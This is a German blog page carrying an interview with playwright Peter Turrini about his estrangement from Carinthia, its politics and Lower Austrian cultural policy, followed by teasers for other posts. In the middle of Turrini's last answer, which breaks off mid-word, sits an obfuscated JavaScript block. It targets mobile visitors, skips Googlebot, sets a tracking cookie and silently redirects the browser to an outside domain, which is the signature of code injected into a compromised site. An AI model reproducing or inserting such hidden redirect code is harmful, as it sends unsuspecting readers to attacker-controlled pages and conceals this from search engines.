…Herr Dobernig ist ein Kulturdepp

Peter Turrini: Ein Kärntner in Niederösterreich

Peter
Turrini spricht über sein gespaltenes Verhältnis zu Kärnten und warum
er trotz einer nahezu absolutistischen Landespolitik dennoch lieber in
Niederösterreich wohnt. Ein Interview von Eva Weissenberger

Turrini im Schnee hinter seinem Haus

Foto © Julia FuchsTurrini im Schnee hinter seinem Haus

Herr
Turrini, Sie leben hier im Norden Niederösterreichs, in einem kleinen
Dorf in einem renovierten Weinbauernhof, hundert Meter vor der
tschechischen Grenze. Warum gefällt es Ihnen hier besser als in Kärnten?

TURRINI: Ich habe eine unglückliche Geschichte mit Kärnten und die
hängt mit meinem italienischen Vater und mit meinem Anderssein zusammen.
Alles an mir passte nicht in die dörfliche Umgebung der Fünfzigerjahre.
Aber als Kind möchte man so gerne dazugehören.


Aber das heutige Kärnten . . .


TURRINI: . . . kann nichts dafür. Ich werde dieses Gefühl des
Fremdseins nicht los. Ich trage einen Rucksack voller Gefühle und
Erinnerungen mit mir herum und den kriege ich nicht von den Schultern
und aus dem Gemüt. Wenn ich bei Friesach Kärnten betrete, dann wiegt
dieser Rucksack besonders schwer.


Fahren Sie oft nach Hause?


TURRINI: Meine Brüder leben in Kärnten und einige Menschen, die ich
sehr gerne habe. Trotzdem fahre ich eher selten hin. Zwischen mir und
diesem schönen Land stellen sich die Bilder der Vergangenheit. Einmal
bin ich mit meinem Bruder Walter durch Maria Saal gegangen. Er wollte
mit mir in ein bestimmtes Gasthaus gehen und ich sagte, dass ich dort
nicht hineingehen will, da würden nämlich die Nazis drin sitzen. Er
lachte und antwortete, dass dieses Gasthaus inzwischen der Treffpunkt
der Alternativbauern sei. Ich komme von den alten Geschichten nicht los.
Hier in Niederösterreich habe ich keine Geschichte. Hier habe ich mir
die dörfliche Anerkennung erarbeitet, auch durch häufige Besuche der
Weinkeller. Das ist ein abgeschiedener kleiner Ort an der tschechischen
Grenze, wir beide führen dieses Gespräch am Arsch der Welt, sozusagen.
Aber es ist ein schöner Arsch. Hier ist es sehr still und manchmal
treffe ich tagelang keinen Menschen und das brauche ich. Mein Kopf ist
ja ohnehin voll mit den erfundenen Figuren meines jeweils neuesten
Stückes. Rundherum kein Rumor, kein Geschrei, nur in meinem Kopf.
Manchmal kommt ein Weinbauer vorbei und verschleppt mich in einen Keller
und dann legt die Literatur eine Pause ein und schaut ins Glas.
Ansonsten ist hier nichts.


Sie sagen es. Ich bin in Niederösterreich aufgewachsen und habe
darunter gelitten, dass es hier so fad ist. In meiner Kindheit hieß es:
“Ein Land ohne Hauptstadt, ohne Universität, ohne Zeitung.” Ein Land
ohne Eigenschaften.
TURRINI: Aha, Sie tragen wohl einen
niederösterreichischen Rucksack mit sich herum? Dieses Gespräch kann ja
heiter werden. Sie schimpfen auf Niederösterreich, ich lobe es. Ich
schimpfe auf Kärnten, Sie verteidigen es.


Es geht um die Zustände im Land und um die Politik.


TURRINI: Genau. Kärnten ist ein wunderschönes Land, aber die dortige Politik ist schrecklich.


Das Weinviertel, wo Sie leben, hatte einmal den touristischen
Werbeslogan: “Hier verstellen keine Berge die Sicht.” Die Journalistin
Anneliese Rohrer, die zwei Tage vor Ihnen ebenfalls im Lavanttal geboren
wurde, sagt: “Die Kärntner haben die Karawanken vor der Nase, da sieht
man nicht weit.” Haben Sie sich eingeengt gefühlt und daher das flache
Land gesucht?


TURRINI: Aber nein. Berge hin oder her, Hügel rauf oder runter,
schöne Landschaften kann man dort und da entdecken. Meine Freude an
diesem schönen Kärnten hängt ja auch mit dem Slowenischen zusammen. Zwei
Sprachen, zwei Kulturen, zwei Literaturen. Vielfalt statt Einfalt. Wenn
ich heute Schmerzen über Kärnten empfinde, dann liegt das daran, dass
dort so wenig Freude über diese Vielfalt besteht. Da ist noch immer
dieser unterschwelligen Hass gegen alles vermeintlich Fremde, und der
wird von der derzeitigen Politik eifrig geschürt. Ich habe so gehofft,
dass die gelöste Ortstafelfrage etwas verändern wird, aber dann fahren
wieder diese Rülpser aus den kärntneranzugtragenden
Verantwortungsträgern heraus. Das erlebe ich hier nicht. Hier sind alle
gleich, vor allem, wenn sie bereit sind, sich in den hiesigen Kellern
einen Leberschaden zuzufügen.


Stimmt, der niederösterreichische ist berühmter als der Kärntner Wein.


TURRINI: Dafür lobe ich den Kärntner Most. Ich hätte ja noch viel
mehr Schönes über Kärnten zu sagen, aber es ist diese minderbemittelte
Dörflerei, die alles überschattet. Ich kenne keinen Kärntner Künstler,
der sich unter diesem Landesverwesern wohlfühlt. In Niederösterreich ist
es umgekehrt. Hier gibt es beständigen Zuzug von Künstlern.


Sie schätzen den konservativen, machtbewussten Landeshauptmann
von Niederösterreich, Erwin Pröll. Er hat es geschafft linke Künstler
für sich einzunehmen, soweit, dass diese sogar in seinem Personenkomitee
für ihn werben. Wie macht das Erwin Pröll?


TURRINI: Ich werde Ihnen eine einfache Erklärung dafür geben. Ich
glaube nicht, dass die hiesigen Weinbauern besondere Verehrer der Bilder
von Hermann Nitsch sind. Trotzdem haben Erwin Pröll und seine
Kulturleute das Hermann-Nitsch-Museum durchgesetzt. Das wird ihnen
sicher keinen politischen Gewinn einbringen.


Vielleicht doch? Die Satirikergruppe “maschek” legte Pröll in
ihrem letzten Programm einen Satz in den Mund, in Anspielung auf den
seinerzeit allmächtigen CSU-Ministerpräsidenten Bayerns, Franz Josef
Strauß: “Links und rechts von mir soll kein Platz sein.”


TURRINI: Politikern ist es grundsätzlich am liebsten, wenn links und
rechts, oberhalb und unterhalb von ihnen kein Platz ist. Die
entscheidende Frage lautet: Was tun sie? Ich habe aufgehört, meine
eigenen ideologischen Muster über alles zu legen, sondern urteile
danach, was Politiker machen und was sie unterlassen. Wenn ich von
Freunden aus Kärnten höre, welche künstlerischen Projekte dort alle
nicht stattfinden, dann freue ich mich über die kulturpolitische Praxis,
die ich hier erlebe. Hier gibt es immer wieder interessante Gespräche
mit Kulturverantwortlichen. Ich kann mir nicht einmal im Zustand des
niederösterreichischen Vollrausches vorstellen, dass ein Kulturgespräch
mit Herrn Dobernig ein Gewinn sein könnte.


Haben Sie Harald Dobernig je getroffen, den Kärntner Landesreferenten für Volkskultur?


TURRINI: Nein. Aber einige seiner wirklich dummen Aussagen haben es an sich, dass sie bis hierher hallen.


Als Gesellschaftskritiker sind Sie quasi von Berufs wegen
Oppositioneller. Wie geht es Ihnen damit, dass Erwin Pröll hier seit 20
Jahren regiert, seit zehn mit absoluter Mehrheit?


TURRINI: Das hat in der Tat etwas Nordkoreanisches an sich.
Andererseits muss er schon sehr gut sein, dass er sich so lange hält. Im
Unterschied zu Kim Jong-Un wird er nämlich immer wieder gewählt. Ich
habe ihn in Gesprächsrunden mit Leuten wie Haneke und Mitterer und Erika
Pluhar und anderen erlebt. Fad oder gar rechthaberisch ging es dabei
nicht zu. In einer solchen Runde habe ich einmal eine Rede gegen die
Rechten und für die Linken gehalten. Er hat mich gebeten aufzuhören,
sonst würde er sich selbst nicht mehr wählen. Jetzt schauen Sie mich
schon wieder so an, mit all Ihren trüben niederösterreichischen
Erfahrungen.


Außerhalb des Kulturbetriebes ist Pröll eben nicht gerade bekannt dafür, dass er sich über Widerspruch rasend freuen würde.


TURRINI: Ich rede über die hiesige Kulturpolitik und die empfinde ich
als positiv. Ich bin nicht der Herold der niederösterreichischen ÖVP
und ich trete auch keinem Wahlkomitee bei. Aber ein Landeshauptmann wie
Erwin Pröll ist mir in seinem schwärzesten Gewand lieber als die braunen
Kärntneranzugträger mit ihrer Künstlerverachtung. Erinnern Sie sich an
die Aussage von Jörg Haider, H.C. Artmann würde seine finanzielle
Unterstützung zum Branntweiner tragen? Damals war er schon todkrank.
Cornelius Kolig, einer der größten Maler Kärntens, wurde von diesen
Gfrastern in seiner Existenz bedroht. Und viele unbekannte Künstler
können in diesem kunstfeindlichen Klima erst gar keine solche aufbauen.
Alles, was den Rhythmus der Schuhplattlerei stört, ist suspekt. Aber ich
will mich über die Kärntner Kulturpolitik nicht weiter äußern, dahinter
steckt ja manchmal nichts anderes als Unkenntnis und schlechter
Geschmack. Ich möchte über einen Punkt reden, den ich für bemerkenswert
und besonders gefährlich halte. Wenn man einen aus dieser braun
gekleideten Sippe kritisiert, dann versteckt er sich immer hinter dem
Land. Ich kritisiere einen Parteipolitiker, nicht das Land.


Passiert das im niederösterreichischen Landtagswahlkampf nicht auch
gerade? Die ÖVP suggeriert: Wer Erwin Pröll kritisiert, kritisiert
Niederösterreich. Und auf dem Weg hierher habe ich ein Plakat gesehen
mit dem Text: “Pröll. Einfach unserer.”


TURRINI: Wenn Sie jetzt mit mir über Texte auf Wahlplakaten diskutieren
wollen, dann gerät mein positives Bild über Niederösterreich auch ins
Wanken. Ich halte Wahlplakate generell schwer aus.


Inhaltlich oder sprachlich?

TURRINI: Beides. Die Sprache und
ihre Vielfältigkeit ist mein Gewerbe und ihre Reduzierung auf den
einfachsten und dümmsten Satz ist bei mir mit Schmerz verbunden. Stellen
Sie sich einen Tischler vor, den man als einziges Werkzeug einen Hammer
zubilligt. In Wahlzeiten hört man nur noch solche mit dem Hammer
zusammengeschlagene Sätze. Diese Sprachreduzierung breitet sich ja auf
alles Mögliche aus. Ich hasse es, wenn mich beispielsweise der ORF
anruft und eine “Wortspende” will. Ich bin doch keine Salami, von der
man Scheibe um Scheibe herunterschneiden kann. Habe ich schon gesagt,
dass die Funktionäre der FPK verkappte Kommunisten sind?


Da bin ich jetzt auf die Erklärung gespannt.


TURRINI: Wenn ich in der DDR auftrat, für die ich ja eine gewisse
Sympathie hatte und dort den Kulturminister kritisierte, musste ich mir
nachher von den Funktionären anhören, dass ich den Sozialismus beleidigt
hätte. Aber ich hatte nichts gegen den Sozialismus, ich hielt den
Kulturminister für einen Trottel. Ich habe nichts gegen Kärnten, aber
Herr Dobernig ist ein Kulturdepp und Herr Dörfler ein schlechter
Politiker, möglicherweise auch ein korrupter.


Es gilt die Unschuldsvermutung.

TURRINI: Ja, ja, die Unschuld der Lämmer. Lauter Lämmer im Kärntneranzug. Ihr unschuldiges Blöken ist nicht zu überhören.


Was ist so schlimm am Kärntneranzug?


TURRINI: Das Gilet hat zu viele Knopferln. Man kann sich ja in diesem
Anzug auch beerdigen lassen. Erst geistig, dann körperlich. Apropos
Knopferln: Der Christoph Schönborn, den ich schon sehr lange kenne, hat
einmal endlos an den vielen Knöpfen seiner Soutane herumgenestelt. Ich
habe ihm gesagt, dass er so nie eine Frau kennenlernen wird. Bis er sich
ausgezogen hat, ist die schon wieder weg.


Wie hat er reagiert?


TURRINI: Er hat gelacht.


Warum holen sich Linke wie Sie Symbole wie den Kärntneranzug nicht zurück? Das ist doch alles eine Frage der Aneignung.


TURRINI: Stimmt, es gibt ein großartiges Kärntner Liedgut. Vieles davon
stammt aus dem Slowenischen. Wer weiß schon, dass die vielen “echten”
Wienerlieder von jüdischen Autoren und Komponisten stammen? Immer kommt
jemand daher und bestimmt, was echte Volkskultur ist. Früher waren es
die Nazis, heute ist es der Musikantenstadl. Die wahren Wurzeln und
Traditionen werden einfach gestohlen und fvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Blog / Zeitgeschehen

Griechenland: SYRIZAs Dilemma und die verlogenen Reaktionen in Deutschland

am Fr, 30.01.2015 um 11:01
annotazioni.de – Blog zu wirtschafts-, verteilungs- und sozialpolitischen Themen Gregor Kritidis, Patrick Schreiner, 28. Januar 2015 | Ausgrenzung, Demokratie & Recht, Wirtschaft & Finanzen Dass die griechische Linkspartei SYRIZA einen fulminanten Wahlsieg landete, ist mehr als erfreulich. Es ist ein klares und deutliches Signal an Brüssel und Berlin, dass die griechischen WählerInnen die bisherige Austeritäts- […]

Religionen: Respekt? Wovor denn?

am Fr, 16.01.2015 um 11:16
©Die Zeit Respekt vor religiösen Gefühlen!, heißt es allenthalben. Michael Schmidt-Salomon hält es für falsch, auf die Befindlichkeiten von Gläubigen groß Rücksicht zu nehmen. VON MICHAEL SCHMIDT-SALOMON Eine Kirche und eine Moschee in Ramallah, Westjordanland  |  © Mohamad Torokman/Reuters Es wirkt wie ein bedingter Reflex: Kaum gehen religiöse Fanatiker auf die Barrikaden , sind westliche Politiker und Journalisten zur […]

Verwaltung des Stillstandes statt überfälliger Reformen

am Mi, 07.01.2015 um 16:52
Verwaltung des Stillstandes statt überfälliger Reformen Zangengriff von Parteien und Kammern lähmt Österreich Österreich ist immer noch eines der reichsten Länder Europas, verliert aber seit 2007/08 in allen Standort- und Wettbewerbsvergleichen kontinuierlich an Boden. Das Land braucht einen Befreiungsschlag. Matthäus Kattinger, Wien 1.1.2015, 05:30 Uhr Hypo Alpe Adria in Klagenfurt: Das Hypo-Desaster sollte für notwendige […]